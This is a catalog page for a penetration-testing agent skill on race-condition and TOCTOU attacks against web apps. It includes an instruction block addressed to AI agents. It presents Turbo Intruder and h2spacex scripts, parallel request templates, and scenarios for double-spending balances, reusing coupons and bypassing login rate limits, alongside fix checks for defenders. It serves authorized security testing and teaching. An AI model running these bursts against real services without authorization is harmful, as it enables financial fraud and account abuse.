Best for
- Use when testing one-time operations, concurrent HTTP abuse, rate-limit bypass, Turbo Intruder gates, HTTP/2 single-packet attacks, and CWE-362-style synchronization gaps.
ok-helloworld/vibe-pentest/references/pentest_skills/race-condition/SKILL.md
Race condition and TOCTOU testing for web apps. Use when testing one-time operations, concurrent HTTP abuse, rate-limit bypass, Turbo Intruder gates, HTTP/2 single-packet attacks, and CWE-362-style synchronization gaps.
Decision brief
AI LOAD INSTRUCTION: Treat race conditions as authorization/state integrity issues: non-atomic read-then-write lets multiple requests observe stale state. Prioritize one-time or balance-like operations. Combine parallel transport (HTTP/1.1 last-byte sync, HTTP/2 single-packet, T…
Compatibility matrix
| Platform | Status | Evidence | What to check |
|---|---|---|---|
| Codex | Not declared | No explicit evidence | Portability before use |
| Claude Code | Not declared | No explicit evidence | Portability before use |
| Cursor | Not declared | No explicit evidence | Portability before use |
| Gemini CLI | Not declared | No explicit evidence | Portability before use |
Installation
The source command is displayed only when detected. A safe inspection prompt is always available so your agent can explain every action before execution.
npx skills add https://github.com/ok-helloworld/vibe-pentest --skill "references/pentest_skills/race-condition"Inspect the Agent Skill "race-condition" from https://github.com/ok-helloworld/vibe-pentest/blob/04d3a99ae3a595dcce1468faa74b66209acf20f8/references/pentest_skills/race-condition/SKILL.md at commit 04d3a99ae3a595dcce1468faa74b66209acf20f8. List every install step, command, network request, credential, file read/write, external action, and rollback step. Explain whether it fits my task. Do not install or execute anything until I approve.
Workflow
Target endpoints where check and update are unlikely to be a single atomic database operation:
Workflow: create → pay → confirm. If confirm does not cryptographically bind to pay completion:
Upgrade may succeed during the brief window where verification is processing but not yet committed.
Burp Repeater: add requests targeting different paths to the same group → "Send group (single packet)".
TOCTOU means the decision (check) and the mutation (use) are not one indivisible step.
Permission review
No configured static risk pattern was detected
This is not proof of safety. Runtime behavior, indirect dependencies, and hidden external systems are outside the static scan.
Evidence record
| Signal | Value | Evidence type | Meaning |
|---|---|---|---|
| Quality score | 96/100 | Computed | Documentation, specificity, maintenance, and trust rules |
| Repository stars | 238 | Source | Repository attention, not individual Skill quality |
| Compatibility | 0 platforms | Source | Declared in the catalog source record |
| Usage guide | automated source guide | Editorial | Generated or reviewed according to the visible evidence level |
Pinned source
AI LOAD INSTRUCTION: Treat race conditions as authorization/state integrity issues: non-atomic read-then-write lets multiple requests observe stale state. Prioritize one-time or balance-like operations. Combine parallel transport (HTTP/1.1 last-byte sync, HTTP/2 single-packet, Turbo Intruder gates) with application evidence (duplicate success responses, inconsistent balances, duplicate ledger rows). Authorized testing only. Routing note: for business workflows, coupons, inventory, or one-time rewards, start with this skill and cross-load
business-logic-vulnerabilities.
Target endpoints where check and update are unlikely to be a single atomic database operation:
| Priority | Operation class | Example paths / parameters |
|---|---|---|
| 1 | One-time redeem / coupon / bonus | redeem, apply_coupon, claim_reward, voucher |
| 2 | Balance / quota / stock deduction | transfer, purchase, reserve, inventory |
| 3 | Invite / referral / signup bonus | invite_accept, referral_claim |
| 4 | Password / email / MFA verification | verify_token, confirm_email, reset_password |
| 5 | Idempotent-looking APIs without strong keys | POST that should succeed only once per user |
First moves (conceptual):
Thread A Thread B
| |
+-- CHECK (resource OK) |
| +-- CHECK (resource OK) ← both see "OK"
+-- USE / UPDATE |
| +-- USE / UPDATE ← duplicate effect
TOCTOU means the decision (check) and the mutation (use) are not one indivisible step.
Typical vulnerable pseudo-flow:
balance = SELECT balance FROM accounts WHERE id = ?
if balance >= amount:
UPDATE accounts SET balance = balance - ? WHERE id = ?
Two concurrent requests can both pass the if before either UPDATE commits.
| Layer | What goes wrong |
|---|---|
| Application | In-memory flag, cache, or session says "not used yet" while DB already updated — or the reverse. |
| ORM / service | Two instances, no distributed lock; each thinks it owns the decision. |
| DB | Missing SELECT … FOR UPDATE, wrong isolation level, or logic split across multiple statements without transaction. |
| API gateway | Per-IP rate limit is check-then-increment — parallel burst passes duplicate checks. |
Hint: UNIQUE constraints and idempotency keys often eliminate entire bug classes — test whether the app enforces them on the hot path.
Send the same authenticated request many times in parallel:
POST /api/v1/rewards/claim HTTP/1.1
Host: target.example
Authorization: Bearer <token>
Content-Type: application/json
{"reward_id":"welcome_bonus"}
Success signal: HTTP 200/201 more than once, duplicate ledger entries, or balance higher than policy allows.
If limits are implemented as counters checked per request without atomic increment:
POST /api/v1/login HTTP/1.1
Host: target.example
Content-Type: application/json
{"email":"[email protected]","password":"wrong"}
Fire N parallel attempts in one wave; compare with N sequential attempts.
Success signal: more failures accepted than documented cap, or lockout never triggers when burst completes inside one window.
Workflow: create → pay → confirm. If confirm does not cryptographically bind to pay completion:
Success signal: item marked paid/shipped without matching payment, or state skips backward.
Idea: Hold all requests blocked until every socket has sent the full request except the last byte of the body; then release the final byte together so the server receives them in a tight cluster.
Client 1: [headers + body - 1 byte] ----hold----+
Client 2: [headers + body - 1 byte] ----hold----+--> flush last byte together
Client N: [headers + body - 1 byte] ----hold----+
Why: Reduces network jitter between copies compared to naive sequential paste in Repeater.
Tooling: Custom scripts, some Burp extensions, or Turbo Intruder gate pattern (see §5) as the practical stand-in for synchronized release.
Idea: Multiplex several complete HTTP/2 streams and coalesce their frames so the first bytes of all requests exit the NIC in one TCP segment (or minimally separated). Receiver-side scheduling then processes them with sub-millisecond spacing.
Burp Repeater (modern workflows):
[ Req A stream ]
[ Req B stream ] --HTTP/2--> one burst --> app worker pool
[ Req C stream ]
Why it often beats HTTP/1.1 last-byte tricks: tighter alignment on the wire; less dependence on per-connection serialization.
Repository: PortSwigger/turbo-intruder (Burp Suite extension).
Settings: concurrentConnections=30, requestsPerConnection=30, use a gate so all threads fire together.
Core pattern (repeat N times, then release):
for _ in range(N):
engine.queue(request, gate='race1')
engine.openGate('race1')
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False,
engine=Engine.THREADED,
maxRetriesPerRequest=0
)
for i in range(30):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
table.add(req)
Header requirement (unique per queued copy for log correlation; Turbo Intruder payload placeholder):
x-request: %s
Turbo Intruder replaces %s per request when paired with a wordlist (or other payload source) — keep this header on the base request in Repeater before sending to Turbo Intruder. Case-insensitive for HTTP; use a consistent name for log grep.
Pattern: One POST to target-1 (state change) plus many GETs to target-2 (read side) released together to widen the TOCTOU window observation.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False,
engine=Engine.THREADED,
maxRetriesPerRequest=0
)
engine.queue(post_to_target1, gate='race1')
for _ in range(30):
engine.queue(get_target2, gate='race1')
engine.openGate('race1')
Adjust hosts/paths by duplicating RequestEngine instances if endpoints differ (Turbo Intruder supports multiple engines — consult upstream docs for your Burp version).
CVE-2022-4037 (GitLab CE/EE): race condition leading to verified email address forgery and risk when the product acts as an OAuth identity provider — third-party account linkage/impact scenarios. CWE-362. Demonstrated in public research with HTTP/2 single-packet style timing to win narrow windows.
Takeaway for testers: email verification, OAuth linking, and "confirm ownership" flows are high-value race targets — not only coupons and balances.
References (official / neutral):
| Tool | Role |
|---|---|
| PortSwigger/turbo-intruder | High-concurrency replay, gates, scripting in Burp. |
| JavanXD/Raceocat | Race-focused HTTP client patterns (verify compatibility with your stack). |
| nxenon/h2spacex | HTTP/2 low-level / single-packet style experimentation (use responsibly, authorized targets only). |
| Burp Suite — Repeater | Send group (parallel) / single-packet attack for multi-request synchronization. |
START: state-changing API?
|
NO -----------+---------- YES
| |
stop here one-time / balance / verify?
|
+-------------------------+-------------------------+
| | |
coupon-like rate limit multi-step
| | |
parallel same req parallel vs serial parallel pipelines
| | |
duplicate success? limit exceeded? state mismatch?
/ \ / \ / \
YES NO YES NO YES NO
| | | | | |
report + try HTTP/2 report + try TI report + deepen
evidence single-packet evidence gates per-step
| | | | | |
+----+----+ +----+----+ +----+----+
| | |
tool pick tool pick tool pick
v v v
Burp group / h2spacex TI gates / Raceocat TI + trace IDs
How to confirm (evidence checklist):
x-request (or similar) markers or unique body fields in logs (authorized environments).Routing summary: if the scenario is more about business rules, pricing, or workflow bypass, load skills/business-logic-vulnerabilities/SKILL.md; this file focuses on concurrency and transport-layer synchronization.
TCP's Nagle algorithm (RFC 896) buffers small writes and coalesces them into fewer, larger segments. When an HTTP/2 client writes multiple HEADERS+DATA frames in rapid succession without flushing between them, the kernel merges them into a single TCP segment (up to MSS, typically ~1460 bytes on Ethernet).
Application layer: [Stream 1 H+D] [Stream 3 H+D] [Stream 5 H+D]
↓ TCP Nagle coalescing ↓
TCP segment: [Stream 1 H+D | Stream 3 H+D | Stream 5 H+D] ← one packet on the wire
TCP_NODELAY disabled (default) → Nagle active → coalescing happens naturallyTCP_NODELAY is set, the client must use writev() / gather-write syscall to batch framesNIC IRQ → kernel recv buffer → HTTP/2 demuxer → concurrent dispatch
┌─ Stream 1 → worker thread A ─┐
├─ Stream 3 → worker thread B ─┤ sub-microsecond spacing
└─ Stream 5 → worker thread C ─┘
recv() syscall returns the entire segmentFirst-to-last request dispatch gap: < 100 μs on modern servers — orders of magnitude tighter than HTTP/1.1 last-byte sync (~1–5 ms network jitter).
| Factor | HTTP/2 Single-Packet | HTTP/1.1 Last-Byte |
|---|---|---|
| Connections needed | 1 | N (one per request) |
| Wire synchronization | Same TCP segment | N segments released "simultaneously" |
| Network jitter impact | Zero (same packet) | Each connection has independent RTT |
| Server dispatch gap | < 100 μs | 1–5 ms typical |
| Practical limit | ~20–30 requests per MTU | Limited by connection setup |
import h2spacex
h2_conn = h2spacex.H2OnTCPSocket(
hostname='target.example.com',
port_number=443
)
headers_list = []
for i in range(20):
headers_list.append([
(':method', 'POST'),
(':path', '/api/v1/rewards/claim'),
(':authority', 'target.example.com'),
(':scheme', 'https'),
('content-type', 'application/json'),
('authorization', 'Bearer TOKEN'),
])
h2_conn.setup_connection()
h2_conn.send_ping_frame()
h2_conn.send_multiple_requests_at_once(
headers_list,
body_list=[b'{"reward_id":"welcome_bonus"}'] * 20
)
responses = h2_conn.read_multiple_responses()
| Isolation Level | Phenomenon Exploited | Attack Window | Typical Vulnerable Pattern |
|---|---|---|---|
| READ UNCOMMITTED | Dirty reads | Thread B reads Thread A's uncommitted write | SELECT balance sees in-flight deduction, proceeds with stale logic |
| READ COMMITTED | Non-repeatable reads (TOCTOU) | Both threads read committed balance, both pass check, both deduct | SELECT → app check → UPDATE without FOR UPDATE |
| REPEATABLE READ | Phantom reads | Snapshot isolation hides concurrent inserts; both threads see "0 claims" and insert | INSERT IF NOT EXISTS pattern without UNIQUE constraint |
| SERIALIZABLE | Advisory lock bypass | Application uses pg_advisory_lock() / GET_LOCK() with wrong scope or derivable key | Lock key from user input; session-vs-transaction scope mismatch |
-- Thread A -- Thread B
SELECT balance FROM accounts SELECT balance FROM accounts
WHERE id=1; -- returns 100 WHERE id=1; -- returns 100
-- app: 100 >= 100 ✓ -- app: 100 >= 100 ✓
UPDATE accounts SET balance = UPDATE accounts SET balance =
balance - 100 WHERE id=1; balance - 100 WHERE id=1;
COMMIT; -- balance = 0 COMMIT; -- balance = -100 ← double-spend
Fix verification: SELECT ... FOR UPDATE should block Thread B's SELECT until Thread A commits.
-- Thread A (snapshot at T0) -- Thread B (snapshot at T0)
SELECT count(*) FROM claims SELECT count(*) FROM claims
WHERE user_id=1 AND coupon='X'; WHERE user_id=1 AND coupon='X';
-- returns 0 (snapshot) -- returns 0 (snapshot)
INSERT INTO claims ...; INSERT INTO claims ...;
COMMIT; -- succeeds COMMIT; -- succeeds ← duplicate claim
Fix: UNIQUE(user_id, coupon_id) constraint causes one INSERT to fail with duplicate key error regardless of isolation level.
-- Application intends: one lock per coupon
SELECT pg_advisory_lock(hashtext('coupon_' || $coupon_id));
-- Bypass vectors:
-- 1. Lock is session-scoped but transaction rolls back → lock persists, next txn skips
-- 2. Different code path reaches claim logic without acquiring the lock
-- 3. Attacker triggers claim via alternative API endpoint that lacks locking
□ SHOW TRANSACTION ISOLATION LEVEL — what level is the database running?
□ Does the hot path use SELECT ... FOR UPDATE or explicit row locks?
□ Is the check-then-act sequence inside a single transaction?
□ Are UNIQUE constraints enforced on the critical state table?
□ Multi-instance deployment: is there a distributed lock (Redis SETNX / Zookeeper)?
Target: POST /api/apply-coupon {"code":"SUMMER50"}
Expected: One use per user
Attack: 20 parallel identical requests
Evidence: Multiple 200 responses, final order total = N × discount applied
Variations: same coupon across different cart items; apply-coupon + checkout in parallel (coupon consumed only at checkout).
Target: POST /api/vote {"post_id":123,"direction":"up"}
Expected: One vote per user per post
Attack: 50 parallel vote requests
Evidence: Vote count += N, or DB shows multiple vote rows for same user+post
Target: POST /api/transfer {"to":"attacker","amount":100}
Balance: Exactly 100
Attack: 2+ parallel transfers
Evidence: Both succeed, sender balance goes negative, recipient receives 200
Higher-value variant: withdrawal to external system (crypto, bank wire) where reversal is difficult.
Target: POST /api/purchase {"item_id":"limited_edition","qty":1}
Stock: 1 remaining
Attack: 20 parallel purchase requests
Evidence: Multiple orders created, stock counter goes negative
Compound attack: add-to-cart and checkout are separate steps, each checking inventory independently.
Target: POST /api/referral/claim {"code":"REF_ABC"}
Expected: One claim per referred user
Attack: Parallel claims from same session
Evidence: Bonus credited to referrer multiple times
Instead of N copies of the same request, send requests to different endpoints in one HTTP/2 single-packet burst. This widens the TOCTOU window by hitting both the check and use paths simultaneously.
Single TCP segment:
Stream 1: GET /api/balance ← probe pre-state
Stream 3: POST /api/transfer ← mutate
Stream 5: POST /api/transfer ← mutate (duplicate)
Stream 7: GET /api/balance ← probe post-state
Balance inconsistency between stream 1 and stream 7 confirms the race window was hit.
Single TCP segment:
Stream 1: POST /api/coupon/apply ← apply discount
Stream 3: POST /api/order/checkout ← finalize order
If coupon application and checkout check prices independently, the discount may apply after checkout has locked the price.
Single TCP segment:
Stream 1: POST /api/email/verify?token=TOKEN ← verify email
Stream 3: POST /api/account/upgrade ← requires verified email
Upgrade may succeed during the brief window where verification is processing but not yet committed.
Burp Repeater: add requests targeting different paths to the same group → "Send group (single packet)".
headers_balance = [(':method','GET'), (':path','/api/balance'), ...]
headers_transfer = [(':method','POST'), (':path','/api/transfer'), ...]
all_headers = [headers_balance] + [headers_transfer]*5 + [headers_balance]
all_bodies = [b''] + [b'{"to":"attacker","amount":100}']*5 + [b'']
h2_conn.send_multiple_requests_at_once(all_headers, body_list=all_bodies)
../business-logic-vulnerabilities/SKILL.md).Alternatives
mission69b/t2000
Publishing, upgrading, and deploying Sui Move packages. Use this skill when the user needs to publish a package, upgrade a published package, deploy to multiple networks, serialize transactions for multisig signing, run a local Sui network (localnet), prepare for Mainnet launch, monitor production deployments, or debug dry run failures. Also use when the user asks about sui client publish, sui client upgrade, UpgradeCap, upgrade policies, Published.toml, --serialize-output, localnet, mainnet lau
K-Dense-AI/scientific-agent-skills
Build, inspect, test, and analyze bounded process-based discrete-event simulations with SimPy, including events, resources, interrupts, monitoring, replications, warm-up, and reproducible output analysis.
huggingface/skills
Create a SageMaker endpoint (real-time, real-time scale-to-zero, or async) with autoscaling, CloudWatch alarms, and tagging enabled by default. Use this skill whenever about to create a SageMaker endpoint, write deployment code that calls `create_endpoint`, or finalize a deployment after the image URI and IAM role are known. Provides deploy.py for real-time endpoints, deploy_ic.py for real-time endpoints that scale to zero instances via inference components, and deploy_async.py for async endpoin
aAAaqwq/AGI-Super-Team
Build and test Polymarket prediction market trading strategies for YES/NO token trading. Provides 6 tools: get_all_prediction_events (browse markets, $0.001), get_prediction_market_data (analyze price history, $0.001), create_prediction_market_strategy (generate code, $1-$4.50), run_prediction_market_backtest (test performance, $0.001). Trade on real-world events (politics, economics, sports, crypto). Currently simulation only (live deployment coming soon).